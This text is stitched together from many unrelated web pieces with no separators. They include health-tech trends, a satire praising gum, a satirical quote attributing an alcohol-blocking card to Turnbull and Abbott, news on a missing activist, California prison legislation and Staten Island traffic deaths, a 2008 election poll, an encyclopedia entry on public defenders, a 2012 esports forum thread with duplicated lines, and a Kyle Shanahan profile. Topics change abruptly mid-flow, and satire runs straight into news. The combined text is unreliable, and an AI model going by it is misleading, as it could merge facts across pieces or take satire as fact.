Newer innovations along these lines will use AI and IoT technologies for devices to speak with one another as well, developing what Gartner refers to as a “collaborative intelligent things model.” Thus, the blood pressure monitor will not only speak with the physician but, as well, with the machine that will determine the proper tweaking of medication. That machine will then send that information to the pharmacy smart device that will see that the new prescription is filled and delivered. Suppose that’s another EHR trend to count in.
As the powerful continue to exert its control over the powerless, it’s easy to conclude that society is failing its most vulnerable members. Still, we must remember that we are lucky enough to live in a society where gum is more abundant than ever. No other generation has enjoyed the variety of flavors that we enjoy today, with such widespread availability. As important as it is to close the gap between the rich and the poor, it’s pretty undeniable that society has really threaded the needle when it comes to selling gum.
Sure, it would be great if, at some point, human life took precedence over profits, but in the meantime, the fact that we’ve really nailed gum should be celebrated.
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You’re never more than five minutes away from gum in any major city, even in sections where generations of civic neglect have created unbreakable cycles of incarceration and poverty. It’s not just corner stores, either. You can also buy gum from countless vending machines that dot the entire globe. Or, if you don’t feel like going outside, you can order it on Amazon and get it delivered to your door within two hours. Sure, it would be great if, at some point, human life took precedence over profits, but in the meantime, the fact that we’ve really nailed gum should be celebrated.
No matter how strongly you feel about any particular societal ill we face, it would be an uphill battle to argue humanity needs to focus more on getting gum in front of people.
While protections of privacy and personal liberty have eroded in the name of safety, governments around the world have, by and large, allowed the purchase of gum to continue unfettered. Regardless of your race, sexual orientation, or religion, you’re welcome to buy any flavor of Dentyne Ice you wish. And it’s about time we stopped and recognized that.
Calling it an ‘act of love’, Malcolm Turnbull said the new card – which would be blocked for alcohol purchases – may be the only way to stop Mr Abbott using his wages for drinking.
“This is the right thing to do for Tony, and it’s the right thing to do for the taxpayer. It’s unreasonable for someone who is be paid from taxpayer funds to be using those funds for large quantities of alcohol, and then turning up to work drunk”.
It seems highly likely, though, that the ubiquity of digital photography – and the weird ways we now behave because of it – may be altering how we perceive the world around us. Technology is doing this in numerous ways. Why not through cell-phone cameras, too?
Or, as psychological scientist Linda Henkel asks in a new study in the journal Psychological Science: "To what extent does capturing one’s life events with a camera shape what one subsequently remembers?"
Photography may focus our observation on the things around us. Or it may do the opposite.
There are a couple of ways to think about the potential answer. Photography may focus our observation on the things around us. Or it may do the opposite, dividing our attention (in the same way that talking on the phone while driving does). It’s also possible that we actively opt not to pay much attention to the scenes we capture, because we’re counting on photos to record everything so we don't mentally have to. If that's the case, that would mean that you're farming out your memory to Instagram as you move through the world.
“We received an automated alarm call to a Melbourne hotel and while we were there to investigate Snoop spoke to us,” Officer Bowen said.
“He was pretty funny, a really nice guy. If you didn’t know that he was someone famous you would just think he was a really nice guy.”
Officer Bowen said Snoop asked for a photo with the firefighters because he had “always wanted to be a firefighter”.
“After his entourage got photos we asked for a few with him, which he didn’t have a hassle with.
“It was really surreal, one of the highlights of a 26-year career.”
Snoop took to his Instagram account to post pictures of himself with the firefighters, which instantly sent the faces of Officer Bowen, Leading Firefighter Owen Sullivan and Firefighter James Kemp’s around the world to his 2.5 million followers.
Officer Bowen said the celebrity encounter was a highlight for the crew, although initially the meeting was a little awkward.
“I was initially speaking with one of his entourage and I hadn’t noticed Snoop. I said ‘What brings you guys to Melbourne?’ They said ‘We play in a band.’ I said ‘Sorry, I don’t get out that much’ and then I realised.
“It was funny, I said I’ve always wanted to come into a flash (hotel) room like this and party with the stars."
The MFB spokeswoman said it was the last thing the firefighters were expecting.
"It was obviously the last thing they were expecting when they were called to the incident and from all reports he was absolutely lovely," the spokeswoman said.
The activist, Raman Sharma, is a resident of Malibu Towne. He went missing on September 23. An FIR of abduction was registered by police after his wife filed a missing persons complaint, said police.
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Sources said Sharma’s wife dropped him at Rajeev Chowk at about 4 am, from where he boarded a bus for Chandigarh.
[related-post]
“Sharma’s wife tried to contact him later in the day, but found that he had left his mobile phone at home. When Sharma did not try to contact her even after a day, she lodged a complaint at Sadar police station,” said a police officer.
“During investigation, it was found that a case of extortion (vide FIR No 548/Dt 24 Sep 2015) had been registered against him in Central Faridabad police station. The family had filed a complaint saying he was missing. However, Gurgaon police have registered a case of kidnapping. Sharma left his personal belongings and his mobile phone at home. The circumstances of the case are suspicious at the moment and investigation is underway to trace Sharma,” said Police Commissioner Navdeep Singh Virk.
Sharma had filed several RTI applications against Haryana Urban Development Authority, town & country planning department, Municipal Corporation of Gurgaon and other government agencies.
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Inmates at Mule Creek State Prison in Ione, California, interact in a gym modified to house them in August 2007.
The Senate on Thursday passed the corrections package 21-19, after Senate President Pro Tem Darrell Steinberg, D-Sacramento, assured senators the changes would protect the public from the most violent offenders.
The legislation also would direct more resources toward parolees, he said.
Senate Republicans say the bill would undermine public safety. All 15 Senate Republicans voted against the measure.
Both houses of the legislature are controlled by Democrats.
Consideration of the bill comes as California faces a mid-September deadline for reducing its prison population by about 40,000 inmates. A special panel of three federal judges issued the order, contending the crowded prison system violates prisoners' constitutional rights.
The judges said they will make the reductions themselves if the state fails to act.
The measure would save the financially strapped state $524.5 million, according to a statement from Steinberg's office.
When coupled with budget revisions that lawmakers made in July, the total corrections savings would be $1.2 billion, he said. That is the amount that Republican Gov. Arnold Schwarzenegger wants as part of his efforts to cut state spending and balance the budget.
Republicans said the bill would lead to the release of about 27,000 prisoners, while Democrats estimated it would reduce the prison population by 27,300 in the 2009-10 fiscal year and 37,000 during fiscal year 2010-11.
"It is undeniable that the real failure of our criminal justice system is that it fails to distinguish between violent offenders and nonviolent offenders," Steinberg said.
"Of course, we want to keep violent criminals off our streets and out of our communities, and this reform package is a necessary step to do that because it concentrates our incarceration efforts on the violent criminals and ensures that nonviolent offenders have more contact with parole officers," he said.
Some nonviolent offenders could serve shorter sentences.
According to Steinberg, each parole officer in California is responsible for about 70 parolees, many of whom recommit crimes and go back to jail. If the legislation is passed, the ratio would be reduced to 45 to 1, he said.
"They [parole officers] cannot adequately supervise those who are the most at risk and those who are the most risk to the public safety," Steinberg said. With a lesser workload, the officers also can make more home visits and arrange more meetings with the people they supervise, the lawmaker said.
Senate Republicans called the legislation a threat to public safety.
"Among the inmates who could be eligible for early release under the Democrat plan include felons convicted of human trafficking, stalking, identity theft, violent child abuse and threatening to use a weapon of mass destruction," the Republican Caucus said in a written statement.
"Unfortunately, this proposal exploits a fiscal crisis in order to advance a dangerous liberal agenda that seeks to undo successful anti-crime laws," said Senate Republican Leader Dennis Hollingsworth of Murrieta.
GOP lawmakers in the Senate also strongly opposed the creation of what they described as "an unelected and unaccountable sentencing commission that would be given broad authority to alter important public safety laws."
The legislation would establish a 16-member Sentencing Commission that would put in place new sentencing guidelines by July 1, 2012. Unless vetoed by the legislature and governor, the guidelines would become effective January 1, 2013.
The 13 voting members of the commission would include the chief justice of the California Supreme Court, a judge appointed by the chief justice, the state public defender and the secretary of the Department of Corrections and Rehabilitation. A crime victim would be among the three ex-officio members.
California Assembly Speaker Karen Bass, D-Los Angeles, issued a statement early Friday morning, explaining that the assembly recessed around midnight and will reconvene Monday.
On Thursday and into Friday morning, she said in the statement, "we have been taking into account many of the concerns raised by law enforcement, and are working toward a bill that the people of California can agree makes sense," and that process will continue through the weekend.
"Our target remains a responsible approach that will achieve our public safety and budgetary goals, and allow us to prevent the wholesale release of prisoners by federal judges."
"Relieving prison overcrowding and reducing recidivism are monumental challenges, but they are challenges that we will not retreat from," Schwarzenegger told an audience of prosecutors in June.
California has a 70 percent recidivism rate.
The two parachutists manage to come down safely in a nearby marina
London (CNN) A parachutist with the British Army's Red Devils stunt team rescued a fellow jumper in a midair drama after his parachute failed during a stunt jump.
The dramatic scene played out above the heads of anxious spectators at the Whitehaven Airshow in Cumbria, northern England.
A statement on the Facebook page for the airshow said one of the parachutists' chutes failed to deploy properly.
Brian Sherwen, an official photographer for the event who witnessed the incident, said he saw the two men "dropping through the sky."
He was able to see exactly how the rescue unfolded through a videographer's powerful zoom lens.
McCain faces a challenge in trying to convince voters to allow him to follow an unpopular president of the same party. Democratic candidate Barack Obama has attempted to link McCain to Bush by saying that electing McCain would effectively lead to a "third Bush term." Although McCain remains competitive in head-to-head matchups with Obama, the poll suggests that McCain may have more work to do to distance himself from Bush.
It is clearly a delicate balancing act for McCain, as Bush remains relatively popular with the Republican base. While only 28% of Americans approve of the job Bush is doing as president, a majority of Republicans (60%) still do. Bush's approval rating among current McCain supporters is slightly lower, at 55%.
Bush is deeply unpopular with Democrats (only 6% approve), and 9 in 10 Democrats say they are concerned that McCain's policies would be too similar to those of Bush. But among independents -- a group to which McCain has demonstrated appeal -- most are concerned about McCain-Bush similarities, including nearly half who are very concerned. Even one in five Republicans are very concerned about the similarities.
A recent CBS News poll asked registered voters what they thought McCain would do -- continue Bush's policies, change to more conservative policies, or change to less conservative policies. A plurality of 43% believe he would continue Bush's policies, but more expect some change -- either more conservative (21%) or less conservative (28%) policies. Thus, while most voters express concern about McCain being too much like Bush, most do not necessarily expect this to happen.
While most Democrats (65%) believe that McCain would generally continue Bush's policies, only 34% of independents and 20% of Republicans do. Independents are about evenly divided as to whether McCain would be more conservative or less conservative than Bush, while nearly half of Republicans think he would be less conservative.
Obama and "Change"
Obama is running as the "change" candidate, and while that would seem to be the advantageous positioning in an election to replace an unpopular incumbent, there is risk in advocating more change than perhaps Americans would be comfortable with. To the extent that McCain and the Republican Party can paint Obama as looking to make too great a departure from the status quo, they can make McCain seem like a safe alternative.
The USA Today/Gallup poll asked Americans how concerned they are that Obama would go too far in changing policies that Bush has pursued. About half say they are concerned, including 30% who are very concerned. One in three Americans -- predominantly Democrats -- are not concerned at all.
Most Republicans -- who likely will vote for McCain anyway -- are concerned about Obama making too much of a departure from Bush. Less than half of independents are, including only 22% who say they are very concerned (compared with 47% of independents who are very concerned about McCain being too similar to Bush).
Implications
At this point, Americans seem more concerned about not getting enough change than about getting too much with the next president, which works to Obama's benefit. But the campaign has barely begun and Republicans will do their best to make the case that Obama is too inexperienced and too liberal to be trusted (Obama had the highest liberal voting score of any senator in 2007, according to the National Journal's annual report).
McCain does have enough disagreements with Bush to perhaps make the argument that he will not represent a third Bush term seem credible. At the same time, on the major issues such as the economy and Iraq, McCain's and Bush's positions are essentially the same.
Survey Methods
Results are based on telephone interviews with 1,625 national adults, aged 18 and older, conducted June 15-19, 2008. For results based on the total sample of national adults, one can say with 95% confidence that the maximum margin of sampling error is ±3 percentage points.
The questions reported here are based on randomly selected half samples of the entire sample, and have a margin of sampling error of ±4 percentage points.
Interviews are conducted with respondents on land-line telephones (for respondents with a land-line telephone) and cellular phones (for respondents who are cell-phone only).
In addition to sampling error, question wording and practical difficulties in conducting surveys can introduce error or bias into the findings of public opinion polls.
Brazil is the only country where an office of government-paid lawyers, with the specific purpose of providing legal assistance and representation to the destitute, free of charge, is established in the Constitution. In the United States, a 1963 US Supreme Court case Gideon v. Wainwright ruled that the Sixth Amendment of the Bill of Rights requires the government to provide free legal counsel to indigent defendants in criminal cases.[1] Many other countries provide people with public defenders.
By country [ edit ]
In civil law countries, following the model from the French Napoleonic Code of criminal procedure, the courts typically appoint private attorneys at the expense of the state.
Brazil [ edit ]
The Constitution of Brazil uniquely provides for a public defender's office (Defensoria Pública) at both state and federal levels.[2][3] Public defense is a right to poor people, who must declare, formally, that they cannot afford regular legal aid, to benefit from public defenders' services.[3]
Public defenders, like prosecutors and judges, are admitted to their positions through civil service examination. The public defender's office assists the poor and lower middle-class in both civil and criminal matters, although the poorest states in the country are still struggling to set up a state public defenders office.[4][5]
Public defense in Brazil dates back to 1897, when a decree mandated government-funded legal assistance in the state of Rio de Janeiro, then called Legal Assistance (Assistência Jurídica). The Constitution of 1937 extended Assistência Jurídica to the entire country, but without the same effectiveness that is derived from the current, 1988 Constitution.[6]
Singapore [ edit ]
Legal assistance in Singapore is provided by the State and the Pro Bono Services Office of the Law Society.
The State provides legal assistance in criminal cases where the accused faces the death penalty.[7] The government also provides legal representation and advice in civil cases such as for divorce, child custody, adoption, wrongful dismissal, letters of administration/probate, tenancy disputes, claims in contract and tort, through the Ministry of Law's Legal Aid Bureau (LAB).[8] Assistance from the LAB is not free, and most clients are required to contribute towards the costs of the work done, but the amount a client is charged depends on a number of factors, among them the client's financial means.[9]
The Pro Bono Services Office of the Law Society runs the Criminal Legal Aid Scheme, which provides criminal legal assistance to the poor and needy who are unable to afford a lawyer, and are facing charges in a Singapore court for non death-penalty offences under statutes covered by CLAS. [10]
Germany [ edit ]
Germany provides legal representation, legal advice, and help in covering court costs in civil cases to those who cannot raise the necessary funds to hire an attorney, but only when there is a reasonable chance of success.[11] In criminal cases where the defendant faces at least one year of imprisonment, the defendant has the right to legal counsel.[12] Although there is a right to legal defense, there is no organized public defender system. Instead, any lawyer can be appointed to provide counsel to a specific defendant, and the defendant can select a specific lawyer. Questions of payment are deferred until the end of a trial, and the court will decide the cost of the case to the losing party. The defendant will not be charged for legal services if acquitted. If convicted, the defendant will be required to pay the lawyer's expenses unless the court finds that the defendant is indigent.[13]
United Kingdom [ edit ]
There are a small number of Public Defender Service offices in England and Wales with lawyers employed directly by the Legal Aid Agency to provide advice in police stations and representation in magistrates and crown courts. The majority of state funded criminal defence work, however, is provided by private lawyers contracted to the Legal Aid Agency and paid by the case under the legal aid scheme.
In Scotland a wider network of Public Defender Solicitor Office lawyers employed by the Scottish Legal Aid Board are available to represent those accused of crimes in addition to private lawyers paid under the legal aid scheme.
United States [ edit ]
In the United States, the term public defender is often used to describe a lawyer who is appointed by a court to represent a defendant who cannot afford to hire an attorney. More correctly, a public defender is a lawyer who works for a public defender's office, a government-funded agency that provides legal representation to indigent defendants. The court appoints the public defender's office to represent the defendant, and the office assigns a lawyer to the defendant's case. In the federal criminal court system and some states and counties, representation is through a publicly-funded public defender office.
Other courts may appoint private lawyers who have agreed to represent indigent defendants, with appointment being either on a contractual basis, through which the lawyer accepts an agreed number of cases from the court for the term of the contract, or a case-by-case basis.[14]
The 1963 US Supreme Court case Gideon v. Wainwright held that the Sixth Amendment's right to counsel provision requires the government to provide legal counsel to indigent defendants in criminal cases.[1] Different jurisdictions, however, use different approaches in providing legal counsel for criminal defendants who can't afford private attorneys.
Hungary [ edit ]
In Hungary, the police, the public prosecutor or the court (depending on what individual cases require) appoints a criminal defender at the state's cost to defend those who can not afford a chosen lawyer. The defence counsel's participation is required by the Criminal Procedure Act. Usually a private lawyer is appointed, one for each defendant, and conflict of interest between contradicting suspects is avoided, e.g. the same lawyer may not represent two accused whose evidence is mutually contradictory. If convicted, the defendant is in principle liable for the fee, but is rarely pursued.[citation needed]
God damn I'm an artist. Anyways, State of the Game is packing up and going to Boston for PAX East zomG!
We have quite the panel of competitive gaming badasses coming with us:
JP McDaniel -- MLG Caster / Producer, Host of State of the Game
-- MLG Caster / Producer, Host of State of the Game Sean 'Day[9]' Plott -- Caster, CEO DAY[9] TV
-- Caster, CEO DAY[9] TV Dan 'Artosis' Stemkoski -- GSL Caster and one-half of Tastosis
-- GSL Caster and one-half of Tastosis Geoff 'iNcontroL' Robninson -- Pro SC2 Player for Team Evil Geniuses
-- Pro SC2 Player for Team Evil Geniuses Mark 'MarkMan' Julio -- MadCatz Sponsorship Manager (he ESPORTS now)
-- MadCatz Sponsorship Manager (he ESPORTS now) Kevin Lin -- COO, Twitch.TV
-- COO, Twitch.TV Marcus 'DjWHEAT' Graham -- Caster, Twitch.TV Rep, OMG.tv CEO
-- Caster, Twitch.TV Rep, OMG.tv CEO Brad Shoemaker -- Editor, GiantBomb.com
And of course the time, day, and location!
God damn I'm an artist. Anyways, State of the Game is packing up and going to Boston for PAX East zomG!We have quite the panel of competitive gaming badasses coming with us:And of course the time, day, and location! ------->Wyvern Theatre, Sunday 10:30am - 11:30am on April 8th, 2012<-------
As of 3/1/2012 there are still Sunday passes available and you can go to HERE register and purchase ($35)
While I won't make the actual show notes until the weekend of (just so everything is fresh) we do have some general themes (AKA something PAX requested for their brochure)
As of 3/1/2012 there are still Sunday passes available and you can go toregister and purchase ($35)While I won't make the actual show notes until the weekend of (just so everything is fresh) we do have some general themes (AKA something PAX requested for their brochure) Competitive gaming has always been a community shunned by mainstream press but it's still continued to grow. In 2011 we saw the biggest growth for the industry from all angles. We're looking to get even more mainstream gaming eyes on the industry by featuring journalists, casters, players, and other industry professionals for a morning of laughs and learning as we talk all things competitive gaming.
What I really want to know is what do people want to see us talk about at a panel like this? The sky is really the limit and we only have one hour, but it should be a good time. We plan to record audio of this and I would like to record a video version as well, even if it is just a static camera because not sure if we'll have a camera man.
Thanks guys and see you there!
Edit: Last year we had people line up an hour prior to the show and they weren't let in because of how fast it filled up. Get there early if you want a seat. The theater (as far as I know) isn't that large.
What I really want to know is what do people want to see us talk about at a panel like this? The sky is really the limit and we only have one hour, but it should be a good time. We plan to record audio of this and I would like to record a video version as well, even if it is just a static camera because not sure if we'll have a camera man.Thanks guys and see you there!Last year we had people line up an hour prior to the show and they weren't let in because of how fast it filled up. Get there early if you want a seat. The theater (as far as I know) isn't that large. Twitter.com/itmeJP -- Twitch.tv/itmeJP -- YouTube.com/itmeJP
Josh_rakoons Profile Joined December 2011 United Kingdom 1157 Posts #2 You forgot the date....
JOJOsc2news Profile Blog Joined March 2011 2999 Posts #3 True work of art :D ✉ Tweets @sc2channel ⌦ Blog: http://www.teamliquid.net/blog/JOJO ⌫ "Arbiterssss... build more arbiterssss." Click 'Profile' for awesome shiro art!
hyptonic Profile Joined June 2011 1621 Posts Last Edited: 2012-03-02 03:34:13 #4 shiiiiit. no nony. just isn't going to be the same without his symmetrical face.
also, sotg isn't really sotg with all of those other people. the environment will be quite different i imagine and the show will only be an hour. hope it goes well, but i'm skeptical
Jeremyy Profile Joined July 2010 Canada 182 Posts #5 Nice, but plz get rid of markman, kevin lin, and brian shoemaker. That would make it much better. Where's the pleasure in that?
Stanlot Profile Joined December 2010 United States 5741 Posts #6 Already have my three day pass :D MC: "Sentry Forcefield Forcefield Marauder... cage Marauder die die"
itsjustatank Profile Blog Joined November 2010 Korea (South) 9021 Posts #7 Damn that's a really good panel. I think I'm going to IPL that weekend though... Photographer "im a fucking big fat dirty whale" -EternaLEnVy
Akasha Profile Blog Joined May 2010 United States 252 Posts #8 So happy that you guys are back and not at party time like last year. Excited ! Writer
Dingobloo Profile Blog Joined September 2010 Australia 1899 Posts Last Edited: 2012-03-02 03:27:59 #9 So no Artosis at IPL4 for GSTL Grand Finals? Well.. that's confusing.
Synche Profile Joined May 2010 United States 1322 Posts #10 On March 02 2012 12:23 Jeremyy wrote:
Nice, but plz get rid of markman, kevin lin, and brian shoemaker. That would make it much better.
This. I'm sure they're fantastic people but let's be honest we don't want to hear them talk.
Unless they're giving you buckets of money I don't understand why they should be on the panel. The end product would be better otherwise. This. I'm sure they're fantastic people but let's be honest we don't want to hear them talk.Unless they're giving you buckets of money I don't understand why they should be on the panel. The end product would be better otherwise.
Zlasher Profile Blog Joined February 2010 United States 8345 Posts #11 I have my 3 day pass but no hotel and the ride up there is crazy expensive so I might have to sell my pass this year.
Last years show was incredible, its too bad they gave you guys the Wyvern again and not a bigger venue since the line was filled up earlier than any other panel all of last year.
I know Gunrun Fishstix and I tried to stream it last year, and with all the technology advances in streaming since 13 months ago I hope something can be worked out, if not, well, the audio feed would be great. Even if you guys just flow free, Q&A whatever it takes, the show is massively entertaining. Follow me: www.twitter.com/zlasher
GwSC Profile Joined December 2010 United States 1970 Posts #12
Though, to be honest I'd still prefer if Sunday was a typical SotG with everyone on their webcams. Oh well Nice, should be fun.Though, to be honest I'd still prefer if Sunday was a typical SotG with everyone on their webcams. Oh well
Zlasher Profile Blog Joined February 2010 United States 8345 Posts #13 On March 02 2012 12:26 Dingobloo wrote:
So no Artosis at IPL4 for GSTL Grand Finals? Well.. that's confusing.
? I don't remember Tastosis being at IPL3 what gave you the idea they are guaranteed to be at 4 ? I don't remember Tastosis being at IPL3 what gave you the idea they are guaranteed to be at 4 Follow me: www.twitter.com/zlasher
SafeWord Profile Joined February 2010 United States 465 Posts #14 giantbomb + sotg = best podcasting EVER! Who needs players when you have God?
Ercster Profile Joined August 2011 United States 601 Posts #15 QQ no NonY. Oh well, should be fun regardless. “The good thing about science is that it's true whether or not you believe in it.” -Neil deGrasse Tyson
Synche Profile Joined May 2010 United States 1322 Posts #16 On March 02 2012 12:31 Zlasher wrote:
Show nested quote +
On March 02 2012 12:26 Dingobloo wrote:
So no Artosis at IPL4 for GSTL Grand Finals? Well.. that's confusing.
? I don't remember Tastosis being at IPL3 what gave you the idea they are guaranteed to be at 4 ? I don't remember Tastosis being at IPL3 what gave you the idea they are guaranteed to be at 4
GSTL finals GSTL finals
Angel_ Profile Blog Joined December 2011 United States 1617 Posts Last Edited: 2012-03-02 03:33:51 #17 On March 02 2012 12:26 SimDawg wrote:
Show nested quote +
On March 02 2012 12:23 Jeremyy wrote:
Nice, but plz get rid of markman, kevin lin, and brian shoemaker. That would make it much better.
This. I'm sure they're fantastic people but let's be honest we don't want to hear them talk.
Unless they're giving you buckets of money I don't understand why they should be on the panel. The end product would be better otherwise. This. I'm sure they're fantastic people but let's be honest we don't want to hear them talk.Unless they're giving you buckets of money I don't understand why they should be on the panel. The end product would be better otherwise.
it makes sense if it's going to be a giant e-sports interview the entire show, but...if it's trying to be a normal show it's going to turn into another "why the fuck is mlgadam still sitting there randomly talking" episode.
hopefully like lo3 where they bring someone on to talk for a while and have the sense to thank them and wish them a goodnight at some point. it makes sense if it's going to be a giant e-sports interview the entire show, but...if it's trying to be a normal show it's going to turn into another "why the fuck is mlgadam still sitting there randomly talking" episode.hopefully like lo3 where they bring someone on to talk for a while and have the sense to thank them and wish them a goodnight at some point.
Canucklehead Profile Joined March 2011 Canada 4922 Posts Last Edited: 2012-03-02 03:34:36 #18 On March 02 2012 12:31 SimDawg wrote:
Show nested quote +
On March 02 2012 12:31 Zlasher wrote:
On March 02 2012 12:26 Dingobloo wrote:
So no Artosis at IPL4 for GSTL Grand Finals? Well.. that's confusing.
? I don't remember Tastosis being at IPL3 what gave you the idea they are guaranteed to be at 4 ? I don't remember Tastosis being at IPL3 what gave you the idea they are guaranteed to be at 4
GSTL finals GSTL finals
Tastosis cast gstl....good one...they only cast code S these days. Sucks no day9 or wheat at IPL 4 though. Tastosis cast gstl....good one...they only cast code S these days.Sucks no day9 or wheat at IPL 4 though. Top 10 favourite pros: MKP, MVP, MC, Nestea, DRG, Jaedong, Flash, Life, Creator, Leenock
turdburgler Profile Blog Joined January 2011 England 5491 Posts #19
i find your lack of tyler disturbing
Zlasher Profile Blog Joined February 2010 United States 8345 Posts #20 On March 02 2012 12:31 SimDawg wrote:
Show nested quote +
On March 02 2012 12:31 Zlasher wrote:
On March 02 2012 12:26 Dingobloo wrote:
So no Artosis at IPL4 for GSTL Grand Finals? Well.. that's confusing.
? I don't remember Tastosis being at IPL3 what gave you the idea they are guaranteed to be at 4 ? I don't remember Tastosis being at IPL3 what gave you the idea they are guaranteed to be at 4
GSTL finals GSTL finals
HERPDEEDERP I'm awesome. Haha thanks for pointing that out
Yeah now I wonder, but something gives me a big idea that Artosis isn't going to prioritize a trade show with no real competitive side to it, over GSTL/IPL4 HERPDEEDERP I'm awesome. Haha thanks for pointing that outYeah now I wonder, but something gives me a big idea that Artosis isn't going to prioritize a trade show with no real competitive side to it, over GSTL/IPL4 Follow me: www.twitter.com/zlasher
FLOWERY BRANCH, Ga. – Put yourself in Kyle Shanahan’s headset.
You’ve spent the past week preparing for this situation, not to mention your entire adult life. You were alone in a room a couple hours ago, studying the defense’s tendencies one last time. You know they’re sending blitzes that aren’t sound against the run. You’ll likely get another on third-and-5.
You’ve also been through a six-game losing streak. You’re with your third team in three years. You’ve been hounded by the media about play-calling. If you run it here and get stopped, you know you’re getting booed out of the stadium. Your players will ask questions, too.
“It’s human nature to go with the easier outcome, for everybody,” Shanahan, the Atlanta Falcons’ offensive coordinator, told USA TODAY Sports recently at a tavern near team headquarters. “And if I ever start doing that, that’s when it would be hard for me to respect the process and what I’m doing.
“‘It is the right thing to call it. Call it.’ You have to think that way. There is pressure in this game, and if you get encompassed by the pressure, that’ll affect your outcome.”
You’re confident, because you’re prepared. But you have scars, too. All coordinators do, once they’ve coached enough football. You guessed wrong, or the quarterback made the wrong read, or somebody fell – it might’ve happened a week ago or a decade ago, but you don’t forget it.
Months later, your team will release a declining 34-year-old receiver named Roddy White, who will say on his way out that you mismanaged things and cost the team games. His agent will say you’re the only reason the franchise cut ties with one of its legends.
This is why you don’t listen to talk radio anymore, the morning after wins or losses. If you need that to make yourself feel good, you’ll feel that much worse when it’s bad. You listen to reggae instead, grab a cup of coffee, put on another tape, start preparing for this moment all over again.
“It’s one of the things I think I crave about football,” Shanahan said. “I am the dad I am, the husband I am, but outside of that, football makes me find out who I am.
“I think I’m extremely battle-tested. I’ve been through a lot of situations. You always wish you didn’t have to go through those, especially when it becomes public and people question your character. That’s hard. You just want to get a microphone and defend yourself, but you can’t. It’s like, ‘Can we have a debate?’ You’ve got to suck it up.”
Your father understands. Mike Shanahan built his career on calling plays, decades before he won a couple Super Bowls with the Denver Broncos. You didn’t realize until you worked together how different you are as football men, but you still talk all the time.
Your last name shouldn’t matter anymore, but you know it does to some people. It helped you get your first NFL job in 2004, doing quality control in Tampa for Jon Gruden, who had you draw every play known to man. That began to shape your views on offense. Perception used to bother you. But if you couldn’t stand on your own, you’re sure the league would’ve spit you out a long time ago.
At age 36, you’ve already been an NFL coordinator for eight seasons and are on your way to a fifth top-10 finish. You’ve had the No. 1-ranked passing and rushing unit. This Falcons offense will lead the league in 10-play drives and time of possession, finish second on third downs – but also have the most red-zone turnovers and be among the lowest-scoring teams outside the red zone. You know that’s not good enough.
“The No. 1 (misconception) is that he’s stubborn or hardheaded. Because he’s not,” Falcons quarterback Matt Ryan said of Shanahan. “You need to know what you’re talking about. He’s open to the best option, but you better have reasons for why you think it’s the best option, there’s no doubt about that.”
You get that from your dad, whom you always intended to coach beside someday, after you’d proven yourself. You left a good thing with the Houston Texans in 2010 to join him in Washington, and you’d never take that back, even though it’s where the criticism began.
There was the benching of Donovan McNabb, who later was traded to Minnesota and lasted six starts there before his career was over. There was injury and ugliness with Robert Griffin III, who thrived in a diverse scheme you tailored to his skill set before deciding he didn’t want to run it anymore. (The next Redskins coach, Jay Gruden, benched RG3 and the Redskins cut him in March.)
There was the reluctance in Cleveland to play Johnny Manziel (out of football) even though the real issue was the front office that drafted him (fired). You resigned after one season and landed with the Falcons, whose fall from 6-1 to 8-8 – still better than the team looked on paper – will be pinned by White and others in part on your system, less reliant on no-huddle than Ryan and company have run in the past.
“When I was younger, you work so hard, you want people to see it and you want to show everyone that you’re good at what you do,” Shanahan said. “One thing you realize over the years is if you think that way, you’ll never be happy. That’s chasing an impossible dream.
“Yeah, I hope to get along with everybody. I hope to make everybody happy. But my biggest concern is doing the best job I can for the Falcons. I can focus on what’s important pretty well.”
Falcons coach Dan Quinn will say you and him “both have a lot of resiliency” and he never considered letting you go after the season. He hired you for a reason: your offenses are tough to defend, capable of stressing a defense horizontally and vertically. You think two steps ahead, anticipating the defense’s adjustments and how to attack them.
In the offseason, your team will sign center Alex Mack and receiver Mohamed Sanu and draft tight end Austin Hooper. You’ll still have all-pro receiver Julio Jones, whose presence creates opportunities for others. Ryan will have 18 months in your system before training camp begins.
And you’ll have fresh scars, such as the pass on fourth-and-goal inside the 1 at Tennessee. You thought they’d commit all 11 defenders to stop the run again, but they didn’t, and no one was open, and Ryan threw an interception that could’ve cost you the game, and it was your fault, all your fault.
“Those things haunt you,” Shanahan said, “and that’s why the next time I go into a game where I think it’s going to be that situation and I do think that it’s the right thing to throw the ball, I better make sure I have a talk with myself before that game starts. Because if not, my scars will take over.
“I’ve got the awareness to know that none of us are invincible. You’re going to go wherever your conscience takes you, and you’ve got to make sure it doesn’t mess you up.”
For now, it’s third-and-5. The pressure has mounted with the losses. You feel 10 years older than you did two years ago. You know the right call is to run, even if might end up being the wrong call and you’ll have to explain yourself, again.
Citywide traffic deaths dropped 12.9 percent from 2013 to 2014, the safest year for New York City pedestrians in over a century, and appear likely to decrease again this year.
In every borough but Staten Island.
Nearly twice as many people have been killed on Island streets this year compared to last, and while city officials caution against using small sample sizes to judge Vision Zero -- a long-term strategy -- there is real concern over the Island's uptick.
In November, Mayor Bill de Blasio called Hylan Boulevard -- where 14 of the year's 20 traffic deaths have occurred -- "very, very problematic." More recently, Department of Transportation Commissioner Polly Trottenberg said the city would be "redoubling" efforts to bring Vision Zero's early successes to Staten Island.
"While traffic fatalities citywide are down in 2015, this has been a challenging year on Staten Island's roadways," Trottenberg wrote in a Dec. 4 statement emailed to the Advance. "So DOT and NYPD are redoubling our efforts to make Staten Island's roadways dramatically safer for motorists, cyclists and pedestrians, especially the most vulnerable -- children and seniors."
FROM 11 LAST YEAR TO 20 IN 2015
In 2014, the first year of Vision Zero, the city's traffic fatalities dropped from 295 in 2013 to 257, according to Department of Transportation data. DOT expects another drop in traffic fatalities in 2015.
But this year on Staten Island, there have been 20 traffic fatalities -- up from 11 in 2014, according to DOT data as of Dec. 4. In the five years prior to Vision Zero, Island traffic deaths averaged about 18 per year.
Eight pedestrians and one cyclist have died on Island in 2015. The majority of those deaths, and all traffic deaths, took place on Hylan Boulevard, the borough's 13-mile thoroughfare through the East Shore. With those numbers, advocates dubbed Hylan the "Boulevard of Death," the macabre moniker originally reserved for Queens Boulevard.
Hylan now labeled city's new 'Boulevard of Death' After an increase in traffic deaths on Hylan Boulevard, advocates are comparing the main artery to Queens Boulevard.
Despite the sharp increase in fatalities this year, the average number of Staten Island traffic deaths per year during Vision Zero, 15.5, is still lower than the average from the five years prior, 18.
So while it may be too soon to judge whether a more focused approach needs to be taken on Staten Island, the DOT has begun to address areas like Hylan Boulevard. It installed Leading Pedestrian Intervals, or LPIs, two months ago at eight intersections along the boulevard to give pedestrians additional time to cross what is a six-lane road at its widest sections.
